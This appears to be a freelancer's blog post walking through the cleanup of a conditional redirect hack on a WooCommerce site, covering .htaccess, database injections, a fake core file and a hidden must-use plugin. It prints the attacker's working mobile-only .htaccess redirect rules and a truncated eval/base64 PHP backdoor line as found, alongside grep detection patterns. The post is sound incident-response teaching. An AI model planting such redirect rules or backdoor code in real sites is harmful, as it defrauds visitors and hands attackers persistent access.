How I Traced a WordPress Redirect Hack Across .htaccess, the Database, and a Hidden Backdoor
· 9 min read
A client messaged me on a Thursday afternoon: "My site is sending people to some dodgy pharmaceutical site. But only sometimes — and only on mobile." That last part is the giveaway. Modern redirect malware is conditional. It checks the user agent, the referrer, whether you're logged in, sometimes even the time of day. If you're an admin checking your own site on a desktop, everything looks fine. Your customers on their phones get bounced to a scam.
This particular site was a WooCommerce store with around 200 products and steady traffic. The redirects had been happening for at least three days before a customer complained, which means Google had already started flagging the site.
Confirming the Redirect
I couldn't reproduce the redirect in my browser because I was logged in and on desktop. So I used curl to simulate a mobile visitor arriving from Google:
curl -v -L \
-A "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15" \
-e "https://www.google.com/" \
"https://clientsite.com/" 2>&1 | grep -i "location:"
There it was — a 302 redirect to https://track[.]something-pharma[.]xyz/redir?id=8827. The redirect only fired for mobile user agents referred from search engines. Logged-in WordPress users and direct visitors were left alone, which is why the client didn't notice it themselves.
Checking .htaccess First
The first place to look is always .htaccess. It's the most common injection point because a single RewriteRule can redirect all traffic before WordPress even loads:
cat .htaccess
On this site, the .htaccess file looked normal at first glance — standard WordPress rewrite rules. But there was an extra block above the # BEGIN WordPress section:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|ipod|mobile|opera\smini) [NC]
RewriteCond %{HTTP_REFERER} (google|yahoo|bing|facebook|instagram) [NC]
RewriteCond %{HTTP:Cookie} !wordpress_logged_in [NC]
RewriteRule ^(.*)$ https://track.something-pharma.xyz/redir?id=8827 [R=302,L]
Three conditions: mobile user agent, came from a search engine or social media, and not logged into WordPress. This is why the client never saw it. I removed those lines immediately and saved the file, but I knew this wasn't the end. If the attacker got in once, they left a way to get back in.
Scanning Core Files with WP-CLI
Before digging into the database, I verified that WordPress core files hadn't been tampered with:
wp core verify-checksums
Two files came back as modified: wp-includes/version.php had an extra line appended, and there was a file that shouldn't exist at all — wp-includes/class-wp-recovery.php. The legitimate recovery file is class-wp-recovery-mode.php. This fake file contained obfuscated PHP:
head -5 wp-includes/class-wp-recovery.php
<?php $O0O="ba"."se"."64"."_de"."co"."de";@eval($O0O('aWYoaXNzZXQoJF9...'));
Classic string concatenation to build base64_decode, then eval() on an encoded payload. This was a backdoor — it accepted commands via POST requests. I deleted it and reinstalled clean core files:
rm wp-includes/class-wp-recovery.php
wp core download --force --skip-content
I also checked plugins:
wp plugin verify-checksums --all
All plugins passed, which meant the attacker hadn't modified any WordPress.org-hosted plugin files. Premium plugins won't be checked by this command, so I manually reviewed those later.
Finding the Database Injection
Here's where redirect hacks get nasty. Even after you clean the files, the malware can live in the database. I searched wp_posts for injected scripts:
SELECT ID, post_title, post_type
FROM wp_posts
WHERE post_content LIKE '%<script%'
AND post_content NOT LIKE '%googletagmanager%'
AND post_content NOT LIKE '%analytics%'
ORDER BY post_modified DESC
LIMIT 20;
Seven posts came back — all product pages. Each one had a <script> tag appended to the end of post_content. The injected JavaScript was obfuscated but when decoded it created a hidden iframe that performed the redirect only for mobile user agents. The same conditional logic as the .htaccess rules, but implemented client-side as a fallback.
I cleaned those entries:
UPDATE wp_posts
SET post_content = REGEXP_REPLACE(
post_content,
'<script[^>]*>.*?track\\.something-pharma.*?</script>',
''
)
WHERE post_content LIKE '%track.something-pharma%';
Then I checked wp_options for any tampered values:
wp db query "SELECT option_name, LEFT(option_value, 120) FROM wp_options WHERE option_value LIKE '%eval%' OR option_value LIKE '%base64_decode%' OR option_value LIKE '%<script%';"
One result: a widget in widget_custom_html had a script block injected. I removed it through the admin panel after verifying the rest of the widget content was legitimate.
The Hidden Must-Use Plugin
At this point I'd cleaned the .htaccess, core files, database posts, and widgets. But I've learned to check one more place that most cleanup guides miss: wp-content/mu-plugins/.
Must-use plugins load automatically on every request. There's no activate/deactivate toggle in the admin. If an attacker drops a PHP file in there, it runs on every page load and most site owners will never notice because mu-plugins don't appear in the standard plugin list.
ls -la wp-content/mu-plugins/
There it was: health-check-util.php, dated three days before the client noticed the redirects. The filename was chosen to look legitimate — WordPress has a built-in Site Health feature, so a file named health-check-util.php wouldn't raise suspicion in a casual directory listing.
cat wp-content/mu-plugins/health-check-util.php
This file did two things. First, it rewrote .htaccess with the redirect rules every six hours using a WordPress cron hook. That's why simply removing the .htaccess lines wouldn't have been enough — they would have reappeared within hours. Second, it contained the same backdoor eval/base64 pattern I'd found in the fake core file, giving the attacker persistent remote access.
rm wp-content/mu-plugins/health-check-util.php
wp cron event list | grep -i health
The cron event list showed a scheduled hook called wp_health_check_cleanup that didn't correspond to any WordPress core function. I removed it:
wp cron event delete wp_health_check_cleanup
Finding the Entry Point
With the malware cleaned, I needed to understand how they got in. I checked the access logs for the day the mu-plugin file was created:
stat wp-content/mu-plugins/health-check-util.php 2>/dev/null || echo "already deleted"
# I'd noted the mtime before deleting: April 14, around 03:40 UTC
grep "POST" /var/log/nginx/access.log | grep "Apr/2026:03:4" | grep -v "wp-cron\|wp-admin/admin-ajax"
There was a POST request to /wp-content/plugins/flavor-flavor-developer-tools/upload.php — a deactivated plugin that had been left on the server. The plugin had a known file upload vulnerability from 2024. The attacker used it to upload the mu-plugin, then the mu-plugin handled the rest.
Post-Cleanup Hardening
After confirming the site was clean, I ran through a hardening checklist:
# Remove the vulnerable deactivated plugin
wp plugin delete flavor-flavor-developer-tools
# Force password reset for all admin users
wp user list --role=administrator --field=user_login | while read user; do
wp user reset-password "$user"
done
# Regenerate salts in wp-config.php
wp config shuffle-salts
# List all users with admin privileges (check for rogue accounts)
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
I also set up file integrity monitoring so that any new files in mu-plugins, wp-includes, or the site root would trigger an alert. A simple cron job running find against a known-good file list is enough for most setups:
find /var/www/html/wp-content/mu-plugins/ -type f -newer /tmp/.last-check-marker -name "*.php"
What to Take Away
Redirect hacks are the most common WordPress compromise, and they're designed to be invisible to site owners. The attack on this site had four layers of persistence: .htaccess rewrite rules, JavaScript injected into database post content, a widget with an embedded script, and a must-use plugin that regenerated everything on a schedule. Cleaning just one layer would have left the site reinfected within hours.
The three commands I run first on any suspected hack:
wp core verify-checksums
wp plugin verify-checksums --all
grep -r "eval\|base64_decode\|gzinflate" wp-content/mu-plugins/ wp-content/uploads/ --include="*.php"
If any of those return hits, you're dealing with more than just a single injected file.
The entry point here was a deactivated plugin with a known vulnerability. Deactivated doesn't mean safe — the PHP files are still on the server and still accessible via direct URL requests. If you're not using a plugin, delete it entirely.
Stop Firefighting. Start Maintaining.
I manage 70+ WordPress sites for UK agencies and businesses. Redirect hacks like this one are preventable with regular security audits, file integrity monitoring, and prompt removal of unused plugins. Most of the sites I maintain have never been compromised because we catch vulnerabilities before attackers do.
